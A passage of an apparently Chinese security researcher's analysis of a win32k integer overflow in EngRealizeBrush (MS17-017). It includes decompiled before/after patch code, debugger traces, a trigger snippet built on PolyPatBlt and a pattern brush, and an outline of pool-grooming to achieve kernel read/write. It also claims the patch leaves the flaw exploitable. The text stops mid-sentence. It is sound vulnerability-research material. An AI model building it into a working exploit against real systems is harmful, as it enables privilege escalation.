前面的文章分析了 CVE-2016-0165 整数上溢漏洞,这篇文章继续分析另一个同样发生在 GDI
子系统的一个整数向上溢出漏洞(在分析此漏洞时,误以为此漏洞是 MS17-017 公告中的 CVE-2017-0101 漏洞,近期根据 @MJ 的提醒,发现此漏洞不是 CVE-2017-0101 而可能是 CVE-2017-0102 或其他在此公告中隐性修复的漏洞,在此更正,并向给各位读者带来的误导致歉)。分析的环境是 Windows 7 x86 SP1 基础环境的虚拟机,配置 1.5GB 的内存。
0x0 前言
这篇文章分析了发生在 GDI
子系统在 MS17-017 中修复的一个整数向上溢出漏洞。在函数 EngRealizeBrush
中引擎模拟实现笔刷绘制时,系统根据笔刷图案位图的大小以及目标设备表面的像素颜色格式计算应该分配的内存大小,但是没有进行必要的数值完整性校验,导致可能发生潜在的整数向上溢出的问题,致使实际上分配极小的内存块,随后函数对分配的 ENGBRUSH
对象成员域进行初始化。在整数溢出发生的情况下,如果分配的内存块大小小于 ENGBRUSH
类的大小,那么在初始化成员域的时候就可能触发缓冲区溢出漏洞,导致紧随其后的内存块中的数据被覆盖。
接下来函数调用 SURFMEM::bCreateDIB
分配临时的位图 SURFACE
对象,并在其中对数值的有效性进行再次校验,判断数值是否大于 0x7FFFFFFF
。但在此时校验的数值比分配的缓冲区大小数值小 0x84
,因此如果实际分配的缓冲区是小于 0x40
字节的情况,那么在函数 SURFMEM::bCreateDIB
中校验的数值就将不符合函数 SURFMEM::bCreateDIB
的要求,导致调用失败,函数向上返回,并在上级函数中释放分配的 ENGBRUSH
对象。
在上级函数中在释放先前分配 ENGBRUSH
对象时,如果先前的成员域初始化操作破坏了位于同一内存页中的下一个内存块的 POOL_HEADER
结构,那么在释放内存时将会引发 BAD_POOL_HEADER
的异常。通过巧妙的内核池内存布局,使目标 ENGBRUSH
对象的内存块被分配在内存页的末尾,这样一来在释放内存块时将不会校验相邻内存块 POOL_HEADER
结构的完整性。
利用整数向上溢出导致后续的缓冲区溢出漏洞,使函数在初始化 ENGBRUSH
对象的成员域时,将原本写入 ENGBRUSH
对象的数据覆盖在下一内存页起始位置的位图 SURFACE
对象中,将成员域 sizlBitmap.cy
覆盖为 0x6
等像素位格式的枚举值,致使目标位图 SURFACE
对象的可控范围发生改变。通过与位于同一内存页中紧随其后的内核 GDI 对象或下一内存页相同位置的位图 SURFACE
对象相互配合,实现相对或任意内存地址的读写。
本分析中涉及到的内核中的类或结构体可在《图形设备接口子系统的对象解释》文档中找到解释说明。
0x1 原理
漏洞存在于 win32k
内核模块的函数 EngRealizeBrush
中。该函数属于 GDI 子系统的服务例程,用于根据逻辑笔刷对象在目标 SURFACE
对象中引擎模拟实现笔刷绘制。根据修复补丁文件对比,发现和其他整数向上溢出漏洞的修复补丁程序类似的,修复这个漏洞的补丁程序也是在函数中对某个变量的数值进行运算时,增加函数 ULongLongToULong
和 ULongAdd
调用来阻止整数向上溢出漏洞的发生,被校验的目标变量在后续的代码中被作为分配内存缓冲区函数 PALLOCMEM
的缓冲区大小参数。那么接下来就从这两个函数所服务的变量着手进行分析。
顺便一提的是,补丁程序在增加校验函数时遗漏了对 v16 + 0x40
计算语句的校验,因此攻击者在已安装 MS17-017 漏洞安全更新的操作系统环境中仍旧能够利用该函数中的整数溢出漏洞。不过那就是另外一个故事了。
补丁前后的漏洞关键位置代码对比:
v60 = (unsigned int)(v11 * v8) >> 3;
v49 = v60 * v68;
v12 = v60 * v68 + 0x44;
if ( v61 )
{
v13 = *((_DWORD *)v61 + 8);
v14 = *((_DWORD *)v61 + 9);
v15 = 0x20;
v54 = v13;
v55 = v14;
if ( v13 != 0x20 && v13 != 0x10 && v13 != 8 )
v15 = (v13 + 0x3F) & 0xFFFFFFE0;
v56 = v15;
v50 = v15 >> 3;
v12 += (v15 >> 3) * v14;
}
[...]
v66 = v12 + 0x40;
v16 = PALLOCMEM(v12 + 0x40, 'rbeG');
补丁前
if ( ULongLongToULong((_DWORD)a3 * v10, (unsigned int)a3 * (unsigned __int64)(unsigned int)v10 >> 32, &v67) < 0 )
goto LABEL_54;
v67 >>= 3;
if ( ULongLongToULong(v67 * v64, v67 * (unsigned __int64)(unsigned int)v64 >> 32, &a3) < 0
|| ULongAdd(0x44u, (unsigned __int32)a3, &v71) < 0 )
{
goto LABEL_54;
}
if ( v62 )
{
[...]
v48 = v15 >> 3;
if ( ULongLongToULong(v48 * v14, v48 * (unsigned __int64)(unsigned int)v14 >> 32, &v65) < 0
|| ULongAdd(v71, v65, &v71) < 0 )
{
goto LABEL_54;
}
}
v16 = v71;
[...]
v71 = v16 + 0x40;
v17 = PALLOCMEM(v16 + 0x40, 'rbeG');
补丁后
在 MSDN 网站存在函数 DrvRealizeBrush
的文档说明。在 Windows 图形子系统中,通常地 Eng
前缀函数是同名的 Drv
前缀函数的 GDI 模拟,两者参数基本一致。根据 IDA 和其他相关文档,获得函数 EngRealizeBrush
的函数原型如下:
int __stdcall EngRealizeBrush(
struct _BRUSHOBJ *pbo, // a1
struct _SURFOBJ *psoTarget, // a2
struct _SURFOBJ *psoPattern, // a3
struct _SURFOBJ *psoMask, // a4
struct _XLATEOBJ *pxlo, // a5
unsigned __int32 iHatch // a6
);
函数 EngRealizeBrush 的函数原型
其中的第 1 个参数 pbo
指向目标 BRUSHOBJ
笔刷对象。数据结构 BRUSHOBJ
用来描述所关联的笔刷对象实体,在 MSDN 存在如下定义:
typedef struct _BRUSHOBJ {
ULONG iSolidColor;
PVOID pvRbrush;
FLONG flColorType;
} BRUSHOBJ;
结构体 BRUSHOBJ 的定义
参数 psoTarget
/ psoPattern
/ psoMask
都是指向 SURFOBJ
类型对象的指针。结构体 SURFOBJ
的定义如下:
typedef struct tagSIZEL {
LONG cx;
LONG cy;
} SIZEL, *PSIZEL;
typedef struct _SURFOBJ {
DHSURF dhsurf; //<[00,04] 04
HSURF hsurf; //<[04,04] 05
DHPDEV dhpdev; //<[08,04] 06
HDEV hdev; //<[0C,04] 07
SIZEL sizlBitmap; //<[10,08] 08 09
ULONG cjBits; //<[18,04] 0A
PVOID pvBits; //<[1C,04] 0B
PVOID pvScan0; //<[20,04] 0C
LONG lDelta; //<[24,04] 0D
ULONG iUniq; //<[28,04] 0E
ULONG iBitmapFormat; //<[2C,04] 0F
USHORT iType; //<[30,02] 10
USHORT fjBitmap; //<[32,02] xx
} SURFOBJ;
结构体 SURFOBJ 的定义
函数的各个关键参数的解释:
- 参数
pbo
指向存储笔刷详细信息的BRUSHOBJ
对象;该指针实际上指向的是拥有更多成员变量的子类EBRUSHOBJ
对象,除psoTarget
之外的其他参数的值都能从该对象中获取到。 - 参数
psoTarget
指向将要实现笔刷的目标SURFOBJ
对象;该表面可以是设备的物理表面,设备格式的位图,或是标准格式的位图。 - 参数
psoPattern
指向为笔刷描述图案的SURFOBJ
对象;对于栅格化的设备来说,该参数是位图。 - 参数
psoMask
指向为笔刷描述透明掩码的SURFOBJ
对象。 - 参数
pxlo
指向定义图案位图的色彩解释的XLATEOBJ
对象。
根据前面的代码片段可知,在函数 EngRealizeBrush
中存在一处 PALLOCMEM
函数调用,用于为将要实现的笔刷对象分配内存缓冲区,传入的分配大小参数为 v12 + 0x40
,变量 v12
正是在修复补丁中增加校验函数的目标变量。
根据相关源码对“补丁前”的代码片段中的一些变量进行重命名:
cjScanPat = ulSizePat * cxPatRealized >> 3;
ulSizePat = cjScanPat * sizlPat_cy;
ulSizeTotal = cjScanPat * sizlPat_cy + 0x44;
if ( pSurfMsk )
{
sizlMsk_cx = *((_DWORD *)pSurfMsk + 8);
sizlMsk_cy = *((_DWORD *)pSurfMsk + 9);
cxMskRealized = 32;
if ( sizlMsk_cx != 32 && sizlMsk_cx != 16 && sizlMsk_cx != 8 )
cxMskRealized = (sizlMsk_cx + 63) & 0xFFFFFFE0;
cjScanMsk = cxMskRealized >> 3;
ulSizeTotal += (cxMskRealized >> 3) * sizlMsk_cy;
}
[...]
ulSizeSet = ulSizeTotal + 0x40;
pengbrush = (LONG)PALLOCMEM(ulSizeTotal + 0x40, 'rbeG');
对补丁前的代码片段的变量重命名
其中变量 ulSizeTotal
对应前面的 v12
变量。分析代码片段可知,影响 ulSizeTotal
变量值的可变因素有 sizlMsk_cx
/ sizlMsk_cy
/ ulSizePat
/ cxPatRealized
和 sizlPat_cy
变量。其中变量 sizlMsk_cx
和 sizlMsk_cy
是参数 psoMask
指向的 SURFOBJ
对象的成员域 sizlBitmap
的值。因此还有 ulSizePat
/ cxPatRealized
和 sizlPat_cy
变量需要继续向前回溯,以定位出在函数中能够影响 ulSizeTotal
变量值的最上层可变因素。
可变因素
在 EngRealizeBrush
函数伊始,三个 SURFOBJ
指针参数被用来获取所属的 SURFACE
对象指针并分别放置于对应的指针变量中。SURFACE
是内核中所有 GDI 表面对象的管理对象类,类中存在结构体对象成员 SURFOBJ so
用来存储当前 SURFACE
对象所管理的位图实体数据的具体信息,在当前系统环境下,成员对象 SURFOBJ so
起始于 SURFACE
对象 +0x10
字节偏移的位置。
随后,参数 psoPattern
指向的 SURFOBJ
对象的成员域 sizlBitmap
存储的位图高度和宽度数值被分别赋值给 sizlPat_cx
和 sizlPat_cy
变量,并将宽度数值同时赋值给 cxPatRealized
变量。参数 psoTarget
对象的成员域 iBitmapFormat
存储的值被赋给参数 psoPattern
(编译器导致的变量复用,本应是名为 iFormat
之类的局部变量),用于指示目标位图 GDI 对象的像素格式。根据位图格式规则,像素格式可选 1BPP(1)
/ 4BPP(2)
/ 8BPP(3)
/ 16BPP(4)
/ 24BPP(5)
/ 32BPP(6)
等枚举值,用来指示位图像素点的色彩范围。
pSurfTarg = SURFOBJ_TO_SURFACE(psoTarget);
pSurfPat = SURFOBJ_TO_SURFACE(psoPattern);
pSurfMsk = SURFOBJ_TO_SURFACE(psoMask);
cxPatRealized = *((_DWORD *)pSurfPat + 8);
psoMask = 0;
psoPattern = (struct _SURFOBJ *)*((_DWORD *)pSurfTarg + 0xF);
sizlPat_cy = *((_DWORD *)pSurfPat + 9);
[...]
sizlPat_cx = cxPatRealized;
函数 EngRealizeBrush 伊始代码片段
函数随后根据目标位图 GDI 对象的像素格式,将变量 ulSizePat
赋值为格式枚举值所代表的对应像素位数,例如 1BPP
格式的情况就赋值为 1
,32BPP
格式的情况就赋值为 32
,以此类推。
与此同时,函数根据目标位图 GDI 对象的像素格式对变量 cxPatRealized
进行继续赋值。根据 IDA 代码对赋值逻辑进行整理:
- 当目标位图 GDI 对象的像素格式为
1BPP
时:
如果sizlPat_cx
值为32
/16
/8
其中之一时,变量cxPatRealized
被赋值为32
数值;否则变量cxPatRealized
的值以32
作为初始基数,加上变量sizlPat_cx
的值并以32
对齐。 - 当目标位图 GDI 对象的像素格式为
4BPP
时:
如果sizlPat_cx
值为8
时,变量cxPatRealized
被赋值为8
数值;否则变量cxPatRealized
的值以8
作为初始基数,加上变量sizlPat_cx
的值并以8
对齐。 - 当目标位图 GDI 对象的像素格式为
8BPP
/16BPP
/24BPP
其中之一时:
变量cxPatRealized
的值以4
作为初始基数,加上变量sizlPat_cx
的值并以4
对齐。 - 当目标位图 GDI 对象的像素格式为
32BPP
时:
变量cxPatRealized
被直接赋值为变量sizlPat_cx
的值。
接下来,函数将变量 cxPatRealized
的值与变量 ulSizePat
存储的目标位图对象的像素位数相乘并右移 3 比特位,得到图案位图新的扫描线的长度,并将数值存储在 cjScanPat
变量中。
在 Windows 内核中处理位图像素数据时,通常是以一行作为单位进行的,像素的一行被称为扫描线,而扫描线的长度就表示的是在位图数据中向下移动一行所需的字节数。位图数据扫描线的长度是由位图像素位类型和位图宽度决定的,位图扫描线长度和位图高度的乘积作为该位图像素数据缓冲区的大小。
函数随后计算 cjScanPat
和 sizlPat_cy
的乘积,得到新的图案位图像素数据大小,与 0x44
相加并将结果存储在 ulSizeTotal
变量中。此处的 0x44
是 ENGBRUSH
类对象的大小,将要分配的内存缓冲区头部将存储用来管理该笔刷实现实体的 ENGBRUSH
对象。
这里的新的图案位图像素数据大小,是通过与逻辑笔刷关联的图案位图对象的高度和宽度数值,和与设备关联的目标 SURFACE
对象的像素位颜色格式数值计算出来的,在函数后续为引擎模拟实现画刷分配新的位图 SURFACE
对象时,该数值将作为新位图 SURFACE
对象的像素数据区域的大小。
接下来函数还判断可选的参数 psoMask
是否为空;如果不为空的话,就取出 psoMask
对象的 sizlBitmap
成员的高度和宽度数值,并依据前面的像素格式为 1BPP
的情况,计算掩码位图扫描线的长度和掩码位图数据大小,并将数据大小增加进 ulSizeTotal
变量中。
在调用函数 PALLOCMEM
时,传入的分配内存大小参数是 ulSizeTotal + 0x40
,其中的 0x40
是 ENGBRUSH
结构大小减去其最后一个成员 BYTE aj[4]
的大小,位于 ENGBRUSH
对象后面的内存区域将作为 aj
数组成员的后继元素。函数对 ulSizeTotal
变量增加了两次 ENGBRUSH
对象的大小,多出来的 0x44
字节在后面用作其他用途,但我并不打算去深究,因为这不重要。
在函数 PALLOCMEM
中最终将通过调用函数 ExAllocatePoolWithTag
分配类型为 0x21
的分页会话池(Paged session pool)内存缓冲区。
内存缓冲区分配成功后,分配到的缓冲区被作为 ENGBRUSH
对象实例,并将缓冲区指针放置在 pbo
对象 +0x14
字节偏移的成员域中:
pengbrush = (LONG)PALLOCMEM(ulSizeTotal + 0x40, 'rbeG');
if ( !pengbrush )
{
LABEL_43:
HTSEMOBJ::vRelease((HTSEMOBJ *)&v70);
return 0;
}
LABEL_44:
bsoMaskNull = psoMask == 0;
*((_DWORD *)pbo + 5) = pengbrush;
分配的缓冲区地址存储在 pbo 对象的成员域
依据以上的分析可知,在函数中能够影响 ulSizeTotal
变量值的最上层可变因素是:
- 参数
psoPattern
指向的图案位图SURFOBJ
对象的成员域sizlBitmap
的值 - 参数
psoMask
指向的掩码位图SURFOBJ
对象的成员域sizlBitmap
的值 - 参数
psoTarget
指向的目标位图SURFOBJ
对象的成员域iBitmapFormat
的值
在获得 ulSizeTotal
变量最终数值的过程中,数据进行了多次的乘法和加法运算,但是没有进行任何的数值有效性校验。如果对涉及到的这几个参数成员域的值进行特殊构造,将可能使变量 ulSizeTotal
的数值发生整数溢出,该变量的值将变成远小于应该成为的值,那么在调用函数 PALLOCMEM
分配内存时,将会分配到非常小的内存缓冲区。分配到的缓冲区被作为 ENGBRUSH
对象实例,在后续对该 ENGBRUSH
对象的各个成员变量进行初始化时,将存在发生缓冲区溢出、造成后续的内存块数据被覆盖的可能性,严重时将导致操作系统 BSOD 的发生。
0x2 追踪
上一章节分析了漏洞的原理和成因,接下来将寻找一条从用户态进程到漏洞所在位置的触发路径。通过在 IDA 中查看函数 EngRealizeBrush
的引用列表,发现在 win32k
中仅对该函数进行了少量的引用。
函数 EngRealizeBrush 的引用列表
关键在于列表的最后一条:在函数 pvGetEngRbrush
中将函数 EngRealizeBrush
的首地址作为参数传递给 bGetRealizedBrush
函数调用。
void *__stdcall pvGetEngRbrush(struct _BRUSHOBJ *a1)
{
[...]
result = (void *)*((_DWORD *)a1 + 5);
if ( !result )
{
if ( bGetRealizedBrush(*((struct BRUSH **)a1 + 0x12), a1, EngRealizeBrush) )
{
vTryToCacheRealization(a1, *((struct RBRUSH **)a1 + 5), *((struct BRUSH **)a1 + 0x12), 1);
result = (void *)*((_DWORD *)a1 + 5);
}
else
{
v2 = (void *)*((_DWORD *)a1 + 5);
if ( v2 )
{
ExFreePoolWithTag(v2, 0);
*((_DWORD *)a1 + 5) = 0;
}
result = 0;
}
}
[...]
}
函数 pvGetEngRbrush 的代码片段
函数首先判断参数 a1
指向 BRUSHOBJ
对象的 +0x14
字节偏移的成员域是否为空;为空的话则调用 bGetRealizedBrush
函数,并将参数 a1
指向 BRUSHOBJ
对象中存储的 BRUSH
对象指针作为第 1 个参数、参数 a1
的值作为第 2 个参数、将函数 EngRealizeBrush
的首地址作为第 3 个参数传入。
如果函数 bGetRealizedBrush
返回失败,函数将通过调用 ExFreePoolWithTag
函数释放参数 a1
指向的 BRUSHOBJ
对象 +0x14
字节偏移的成员域指向的内存块。该成员域在执行函数 EngRealizeBrush
期间会被赋值为分配并实现的 ENGBRUSH
对象的首地址。
在函数 bGetRealizedBrush
中存在对第 3 个参数指向的函数进行调用的语句:
LABEL_81:
if ( v68 )
{
v41 = (struct _SURFOBJ *)(v68 + 0x10);
LABEL_127:
v51 = (struct _SURFOBJ *)*((_DWORD *)a2 + 0xD);
if ( v51 )
v51 = (struct _SURFOBJ *)((char *)v51 + 0x10);
v19 = a3(a2, v51, v41, v72, v13, v70);
[...]
}
函数 bGetRealizedBrush 调用参数 a3 指向的函数
为了精确地捕获到来自用户进程的调用路径,通过 WinDBG 在漏洞发生位置下断点,很快断点命中,观测到调用栈如下:
00 8bb23930 94170c34 win32k!EngRealizeBrush+0x19c
01 8bb239c8 941734af win32k!bGetRealizedBrush+0x70c
02 8bb239e0 941e99ac win32k!pvGetEngRbrush+0x1f
03 8bb23a44 9420e723 win32k!EngBitBlt+0x185
04 8bb23aa8 9420e8ab win32k!GrePatBltLockedDC+0x22b
05 8bb23b54 9420ed96 win32k!GrePolyPatBltInternal+0x176
06 8bb23c18 83e4b1ea win32k!NtGdiPolyPatBlt+0x1bc
07 8bb23c18 772b70b4 nt!KiFastCallEntry+0x12a
08 0023edec 768e6217 ntdll!KiFastSystemCallRet
09 0023edf0 768e61f9 gdi32!NtGdiPolyPatBlt+0xc
0a 0023ee1c 76fc3023 gdi32!PolyPatBlt+0x1e7
[...]
命中断点的栈回溯序列
观察栈回溯中的函数调用,发现由用户态进入内核态的调用者是 PolyPatBlt
函数,那么接下来就尝试通过函数 PolyPatBlt
作为切入点进行分析。
该函数是 gdi32.dll
模块的导出函数,但并未被微软文档化,仅作为系统内部调用使用。通过查询相关文档得到函数原型如下:
BOOL PolyPatBlt(
HDC hdc,
DWORD rop,
PVOID pPoly,
DWORD Count,
DWORD Mode
);
函数 PolyPatBlt 的函数原型
函数通过使用当前选择在指定设备上下文 DC
对象中的笔刷工具来绘制指定数量的矩形。第 1 个参数 hdc
是传入的指定设备上下文 DC
对象的句柄,矩形的绘制位置和尺寸被定义在参数 pPoly
指向的数组中,参数 Count
指示矩形的数量。笔刷颜色和表面颜色通过指定的栅格化操作来关联,参数 rop
表示栅格化操作代码。参数 Mode
可暂时忽略。
参数 pPoly
指针的类型没有明确的公开定义,模块代码中的逻辑显示其指向的是 0x14
字节大小的数据结构数组,前 4 个成员域定义矩形的坐标和宽度高度,第 5 个成员域指定可选的笔刷句柄,因此可以定义为:
typedef struct _PATRECT {
INT nXLeft;
INT nYLeft;
INT nWidth;
INT nHeight;
HBRUSH hBrush;
} PATRECT, *PPATRECT;
结构体 PATRECT 的定义
参数 pPoly
指向的数组的元素个数需要与参数 Count
参数表示的矩形个数对应。留意结构体中第 5 个成员变量 hBrush
,这个成员变量很有意思。通过逆向分析相关内核函数得知,如果数组元素的该成员置为空值,那么在内核中处理该元素时将使用先前被选择在当前设备上下文 DC
对象中的笔刷对象作为实现 ENGBRUSH
对象的逻辑笔刷;而如果某个元素的 hBrush
成员指定了具体的笔刷对象句柄,那么在 GrePolyPatBltInternal
函数中将会对该元素使用指定的笔刷对象作为实现 ENGBRUSH
对象的逻辑笔刷。
v17 = (HBRUSH)*((_DWORD *)a3 + 4);
v30 = v17;
ms_exc.registration.TryLevel = -2;
if ( v17 )
{
v29 = GreDCSelectBrush(*(struct DC **)a1, v17);
v16 = v31;
}
[...]
函数 GrePolyPatBltInternal 为 DC 对象选择笔刷对象
因此我们并不需要为目标 DC
对象选择笔刷对象,只需将笔刷对象的句柄放置在数组元素的成员域 hBrush
即可。接下来编写验证代码试图抵达漏洞所在位置,由于函数 PolyPatBlt
并未文档化,需要通过 GetProcAddress
动态获取地址的方式引用。
hdc = GetDC(NULL);
hbmp = CreateBitmap(0x10, 0x100, 1, 1, NULL);
hbru = CreatePatternBrush(hbmp);
pfnPolyPatBlt = (pfPolyPatBlt)GetProcAddress(GetModuleHandleA("gdi32"), "PolyPatBlt");
PATRECT ppb[1] = { 0 };
ppb[0].nXLeft = 0x100;
ppb[0].nYLeft = 0x100;
ppb[0].nWidth = 0x100;
ppb[0].nHeight = 0x100;
ppb[0].hBrush = hbru;
pfnPolyPatBlt(hdc, PATCOPY, ppb, 1, 0);
漏洞验证代码片段
在这段验证代码中,首先获取当前桌面的设备上下文 DC
对象句柄。根据函数 PolyPatBlt
的调用规则,需要在调用之前先创建笔刷对象,这通过函数 CreateBitmap
和 CreatePatternBrush
来实现。创建返回的笔刷对象句柄被放置在 PATRECT
数组元素的 hBrush
成员域中。
编译代码后在测试环境执行,可以成功命中漏洞所在位置的断点:
win32k!EngRealizeBrush+0x19c:
9397d73c e828f20600 call win32k!PALLOCMEM (939ec969)
kd> k
# ChildEBP RetAddr
00 8e03ba20 93980c34 win32k!EngRealizeBrush+0x19c
01 8e03bab8 939834af win32k!bGetRealizedBrush+0x70c
02 8e03bad0 939f9ae6 win32k!pvGetEngRbrush+0x1f
03 8e03bb34 93a1e723 win32k!EngBitBlt+0x2bf
04 8e03bb98 93a1e8ab win32k!GrePatBltLockedDC+0x22b
05 8e03bb54 93a1ed96 win32k!GrePolyPatBltInternal+0x176
06 8e03bc18 83e7b1ea win32k!NtGdiPolyPatBlt+0x1bc
07 8e03bc18 77db70b4 nt!KiFastCallEntry+0x12a
08 002cfb8c 764c6217 ntdll!KiFastSystemCallRet
09 002cfb90 764c61f9 gdi32!NtGdiPolyPatBlt+0xc
0a 002cfbbc 0104b146 gdi32!PolyPatBlt+0x1e7
[...]
kd> dc esp l2
8e03b978 00004084 72626547 .@..Gebr
漏洞验证代码执行后命中漏洞所在位置断点
需要注意的是,在虚拟机同一环境中多次测试验证代码程序时,有时候在函数 EngRealizeBrush
中会绕过分配内存的指令块:
win32k!EngRealizeBrush+0x164:
93a5d704 b958a0c393 mov ecx,offset win32k!gpCachedEngbrush (93c3a058)
93a5d709 ff157000c193 call dword ptr [win32k!_imp_InterlockedExchange (93c10070)]
93a5d70f 8bf0 mov esi,eax
93a5d711 8975ac mov dword ptr [ebp-54h],esi
93a5d714 85f6 test esi,esi
93a5d716 7418 je win32k!EngRealizeBrush+0x190 (93a5d730)
93a5d718 8d4340 lea eax,[ebx+40h]
93a5d71b 8945e0 mov dword ptr [ebp-20h],eax
93a5d71e 3bc3 cmp eax,ebx
93a5d720 7605 jbe win32k!EngRealizeBrush+0x187 (93a5d727)
93a5d722 394604 cmp dword ptr [esi+4],eax
93a5d725 7332 jae win32k!EngRealizeBrush+0x1b9 (93a5d759)
93a5d759 837d1400 cmp dword ptr [ebp+14h],0
kd> r eax
eax=00004084
kd> r ebx
ebx=00004044
kd> ? poi(esi+4)
Evaluate expression: 16516 = 00004084
函数 EngRealizeBrush 绕过分配内存块的指令块
创建的 ENGBRUSH
对象在释放时会尝试将地址存储在 win32k
中的全局变量 gpCachedEngbrush
中而不是直接释放,作为缓存对象以备下次分配合适大小的 ENGBRUSH
对象时直接取用。
在 EngRealizeBrush
函数中分配内存缓冲区之前,函数会获取 gpCachedEngbrush
全局变量存储的值,如果缓存的 ENGBRUSH
对象存在,那么判断该缓存对象是否满足当前所需的缓冲区大小,如果满足就直接使用该缓存对象作为新创建的 ENGBRUSH
对象的缓冲区使用,因此跳过了分配内存的那一步。
焦点回到命中断点的漏洞所在位置,可以观测到请求分配的缓冲区大小参数是 0x4084
数值,这是由在验证代码中创建笔刷对象时,所关联的位图对象的大小决定的。当前的数值并未命中溢出的条件,因此我们需要不断尝试和计算,得到满足溢出条件的可变因素的数值。
为了更清晰地理解关联的位图对象与最终分配的内存缓冲区大小的关联,接下来对相关函数进行深入的分析。
CreatePatternBrush
用户进程调用函数 CreatePatternBrush
以使用指定位图作为图案创建逻辑笔刷,函数接受位图对象的句柄作为唯一参数。在函数中直接调用 NtGdiCreatePatternBrushInternal
系统调用进入内核中执行。
HBRUSH __stdcall CreatePatternBrush(HBITMAP hbm)
{
return (HBRUSH)NtGdiCreatePatternBrushInternal((int)hbm, 0, 0);
}
函数 CreatePatternBrush 直接调用 NtGdiCreatePatternBrushInternal 函数
接下来在内核中函数 NtGdiCreatePatternBrushInternal
直接调用函数 GreCreatePatternBrushInternal
来根据传入的位图创建图案笔刷对象。函数 GreCreatePatternBrushInternal
第 1 个参数是传递的位图对象的句柄。后两个参数由于在用户进程传递时直接传值为 0
所以暂不关注。
SURFREF::SURFREF(&ps, hbmp);
[...]
if ( *((_DWORD *)ps + 0x12) & 0x4000000 )
{
if ( a3 )
hbmpClone = hbmCreateClone(ps, 8u, 8u);
else
hbmpClone = hbmCreateClone(ps, 0, 0);
if ( hbmpClone )
{
a3 = *((_DWORD *)ps + 0x14);
bIsMonochrome = XEPALOBJ::bIsMonochrome((XEPALOBJ *)&a3);
BRUSHMEMOBJ::BRUSHMEMOBJ(&v9, hbmpClone, hbmp, bIsMonochrome, 0, 0x40, a2);
if ( v9 )
{
v12 = *v9;
v10 = 1;
}
BRUSHMEMOBJ::~BRUSHMEMOBJ((BRUSHMEMOBJ *)&v9);
}
}
[...]
return v12;
函数 GreCreatePatternBrushInternal 的代码片段
函数根据传入的位图句柄获得图案位图的 SURFACE
对象的引用,随后通过调用函数 hbmCreateClone
并传入图案位图的 SURFACE
对象指针以获得位图对象克隆实例的句柄。
函数 hbmCreateClone
用来创建指定位图的引擎管理的克隆。函数生命周期内存在位于栈上的 DEVBITMAPINFO
结构体对象 dbmi
。结构体 DEVBITMAPINFO
定义如下:
typedef struct _DEVBITMAPINFO { // dbmi
ULONG iFormat;
ULONG cxBitmap;
ULONG cyBitmap;
ULONG cjBits;
HPALETTE hpal;
FLONG fl;
} DEVBITMAPINFO, *PDEVBITMAPINFO;
结构体 DEVBITMAPINFO 的定义
图案位图对象的像素位数格式 SURFACE->so.iBitmapFormat
成员域的值被赋值给 dbmi
对象的 iFormat
成员;由于第 2 个和第 3 个参数都被传入 0
,因此函数直接获取图案位图对象的 SURFACE->so.sizlBitmap
成员域的值并存储在 dbmi
对象的 cxBitmap
和 cyBitmap
成员中。
dbmi_iFormat = *((_DWORD *)a1 + 0xF);
if ( a2 && a3 )
{
[...]
}
else
{
dbmi_cx = *((_DWORD *)a1 + 8);
dbmi_cy = *((_DWORD *)a1 + 9);
}
[...]
函数 hbmCreateClone 获取图案位图 SURFACE 对象成员域的值
接下来函数调用 SURFMEM::bCreateDIB
函数并传入 dbmi
对象首地址,用来构造新的设备无关位图的内存对象:
if ( SURFMEM::bCreateDIB((SURFMEM *)&v23, (struct _DEVBITMAPINFO *)&dbmi_iFormat, 0, 0, 0, 0, 0, 0, 1) )
{
v19 = dbmi_cx;
v6 = 0;
v7 = (*((_DWORD *)a1 + 0x12) & 0x4000) == 0;
v21 = 0;
v22 = 0;
v17 = 0;
v18 = 0;
v20 = dbmi_cy;
v26 = 0;
[...]
}
[...]
函数调用 SURFMEM::bCreateDIB 构造设备无关位图的内存对象
函数 SURFMEM::bCreateDIB
在初始化新分配的位图对象时,将使用传入的参数 dbmi
对象中存储的关键成员的值,包括位图的宽度高度和像素位格式。
函数 hbmCreateClone
向函数 GreCreatePatternBrushInternal
返回新创建的位图对象克隆的句柄。接下来函数判断原位图 SURFACE
对象的调色盘是否属于单色模式,接着通过调用构造函数 BRUSHMEMOBJ::BRUSHMEMOBJ
初始化位于栈上的从变量 v9
地址起始的静态 BRUSHMEMOBJ
对象。
在构造函数 BRUSHMEMOBJ::BRUSHMEMOBJ
中,函数通过调用成员函数 BRUSHMEMOBJ::pbrAllocBrush
分配笔刷 BRUSH
对象内存,接下来对笔刷对象的各个成员域进行初始化赋值。其中,通过第 2 个和第 3 个参数传入的位图对象克隆句柄和原位图对象句柄被分别存储在新分配的 BRUSH
对象的 +0x14
和 +0x18
字节偏移的成员域中。
pbrush = BRUSHMEMOBJ::pbrAllocBrush((BRUSHMEMOBJ *)this, a7);
*pbp_pbr = pbrush;
if ( pbrush )
{
*((_DWORD *)pbrush + 5) = a2;
*((_DWORD *)pbrush + 6) = a3;
v10 = (_DWORD *)*((_DWORD *)pbrush + 9);
*((_DWORD *)pbrush + 0xE) = 0;
*((_DWORD *)pbrush + 4) = 0xD;
*v10 = 0;
*((_DWORD *)pbrush + 7) = a6;
if ( a4 )
*((_DWORD *)pbrush + 7) = a6 | 0x20003;
[...]
}
构造函数分配并初始化 BRUSH 对象
在这里需要留意 BRUSH
对象 +0x10
字节偏移的成员域赋值为 0xD
数值,该成员用于描述当前笔刷 BRUSH
对象的样式,数值 0xD
表示这是一个图案笔刷。该成员在后续的分析中将会涉及。
在构造函数 BRUSHMEMOBJ::BRUSHMEMOBJ
返回后,函数 GreCreatePatternBrushInternal
将刚才新创建的 BRUSH
对象的句柄成员的值作为返回值返回,该句柄值最终将返回到用户进程的调用函数中。
psoTarget
漏洞验证代码调用函数 PolyPatBlt
时,在内核中的函数 GrePolyPatBltInternal
调用期间,函数获取参数 a1
指向的目标设备上下文 XDCOBJ
对象中存储的设备相关位图的 SURFACE
对象,并将该对象的地址作为参数传入 GrePatBltLockedDC
函数调用。该参数将逐级向下传递,其成员对象 SURFOBJ so
的地址将成为 EngRealizeBrush
函数调用的参数 psoTarget
的值。
pSurfDst = *(struct SURFACE **)(*(_DWORD *)a1 + 0x1F8);
while ( 1 )
{
[...]
if ( !ERECTL::bEmpty((ERECTL *)&v22) )
{
[...]
if ( pSurfDst )
v34 = GrePatBltLockedDC(a1, (struct EXFORMOBJ *)&v26, (struct ERECTL *)&v22, v36, pSurfDst, a6, a7, a8, a9);
}
[...]
}
函数 GrePolyPatBltInternal 获取目标 DC 对象的 SURFACE 成员
在验证代码中我们使用的是当前桌面的设备上下文 DC
对象,该 DC
对象所关联的位图 SURFACE
对象的成员域 iBitmapFormat
